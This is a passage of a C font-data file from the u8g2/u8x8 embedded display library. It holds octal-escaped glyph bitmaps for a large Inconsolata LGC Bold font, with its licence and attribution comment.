\"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\376\\374\\374\\70\\20\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\36\\77\\177\\177\\177\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34|\\374\\374\\374\\374\\374\\374\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\374\\374\\374\"\n  \"\\374\\374<\\4\\0\\0\\1\\17\\77\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\376\\370\\340\\0\\0\\200\\340\\374\\377\\377\\377\\377\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\374\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\340\\300\\0\\0\\0\\0\\0\\0\\200\\300\\340\\374\\377\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\177\\177~~\\177\\177\\177\\77\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\360\\360\\370\\370\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\14<\\374\\374\\374\\374\\374\\374\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\374\\374\\374\"\n  \"\\374\\374<\\4\\0\\0\\1\\7\\37\\377\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\77\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\377\\377\\374\\340\\200\\0\\0\\340\\374\\377\\377\\377\\377\\77\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\377\\374\\377\\377\\377\\377\\37\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\340\\300\\200\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\77\\77\\177\\177~~\\177\\177\\177\\77\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n#endif /* U8G2_USE_LARGE_FONTS */\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--62-620-72-72-P-301-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 95/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb46_4x8_r[24324] U8X8_FONT_SECTION(\"u8x8_font_inb46_4x8_r\") = \n  \" ~\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\370\\370\\370\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\7\"\n  \"\\0\\0\\0\\0|||||||\\374\\377\\377\\377\\377\\377\\377=<<<<<\\376\\377\\377\\377\\377\\377\\177|\"\n  \"||||\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\7\\0\\0\"\n  \"\\0\\0\\0\\0||||||\\376\\377\\377\\377\\377\\377~~~~~~\\376\\377\\377\\377\\377\\377\\77>>>\"\n  \">>>\\36\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\17\\17\\17\\3\\0\\0\\0\\0\\0\\14\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\370\\370\\370\\370\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\376\\377\\77\\37\\37\\377\\377\\377\\377\\377\\377\\77\\77\\77\\177\\376\\376\\374\\374\\370\"\n  \"p \\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\370\\340\\300\\300\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\77\\377\\377\\377\\377\\377\\377\\376\\374\\374\\374\\370\\370\\360\\340\\340\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\1\\1\\3\\7\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\0\\0\\14\\37\\77\\177\\177\\377\\376\\374\\374\\370\\370\\360\\377\\377\\377\\377\\377\\377\\360\\370\\370\\374\\377\\377\\177\\77\\37\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\3\\77\\77\\77\\77\\77\\77\\1\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\"\n  \"\\300\\300\\300@\\374\\376\\377\\377\\377\\37\\37\\17\\17\\37\\77\\377\\377\\377\\376\\374\\360\\0\\0\\0\\300\\340\\370\\376\\377\\377\\377\\77\"\n  \"\\17\\3\\1\\0\\37\\77\\177\\377\\377\\376\\374\\370\\370\\374\\376\\377\\377\\177\\77\\237\\347\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\300\\360\\370\\376\\377\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\377\\77\\37\\7\\301\\360\\370\\374\\376\\376\\177\\77\\77\\77\\177\\376\"\n  \"\\376\\374\\370\\360\\0\\0\\300\\360\\374\\376\\377\\377\\177\\37\\17\\3\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\360\\340\\340\\340\\360\\377\"\n  \"\\377\\377\\377\\177\\6\\7\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\17\\7\\7\\7\"\n  \"\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\370\\376\\376\\377\\377\\377\\77\\37\\37\\17\\17\\37\\37\\177\\377\\377\\377\\377\\376\\370\\360\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\17\\77\\377\\377\\377\\377\\377\\370\\340\\200\\0\\0\\200\\340\\370\\377\\377\\377\\377\\177\\77\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\371\\373\\377\\377\\177\\77\\377\\377\\377\\377\\377\\377\\347\\203\\3\\1\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\200\\0\\0\\374\\377\\377\\377\\377\\377\\37\\7\\1\\0\\0\\0\\0\\1\\3\\7\\37\\77\\177\\377\\377\\376\\374\\370\\340\\374\\377\\377\"\n  \"\\377\\177\\77\\17\\77\\177\\377\\377\\377\\377\\376\\370\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\375\\377\\377\\177\\77\\177\\377\\377\\377\"\n  \"\\371\\360\\340\\300\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\1\\7\\17\"\n  \"\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\360\\370\\374\\374\\374\\370\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\177\\37\\17\\7\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\340\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\37\\77\\77\\177\\77\"\n  \"\\16\\6\\0\\0\\0\\0\\0\\340\\374\\370\\370\\360\\360\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\77\\377\\377\\377\\376\\374\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\377\\377\\377\\377\\377\\377\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\376\\377\\377\\377\\177\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14~\\376\\177\\177\\77\\77\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\37\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\340\\300\\0\\0\\17\\17\\17\\17\\37\\37\\37\\37\\77\\77\\276\\376\\374\\377\\377\\377\\377\\377\\374\\376\\276>\\77\\37\\37\\37\\37\\17\"\n  \"\\17\\17\\17\\10\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\177\\77\\17\\7\\3\\7\\17\\77\\177\\377\\377\\376\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\7\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\17\\17\\7\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\277\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x|\\376\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  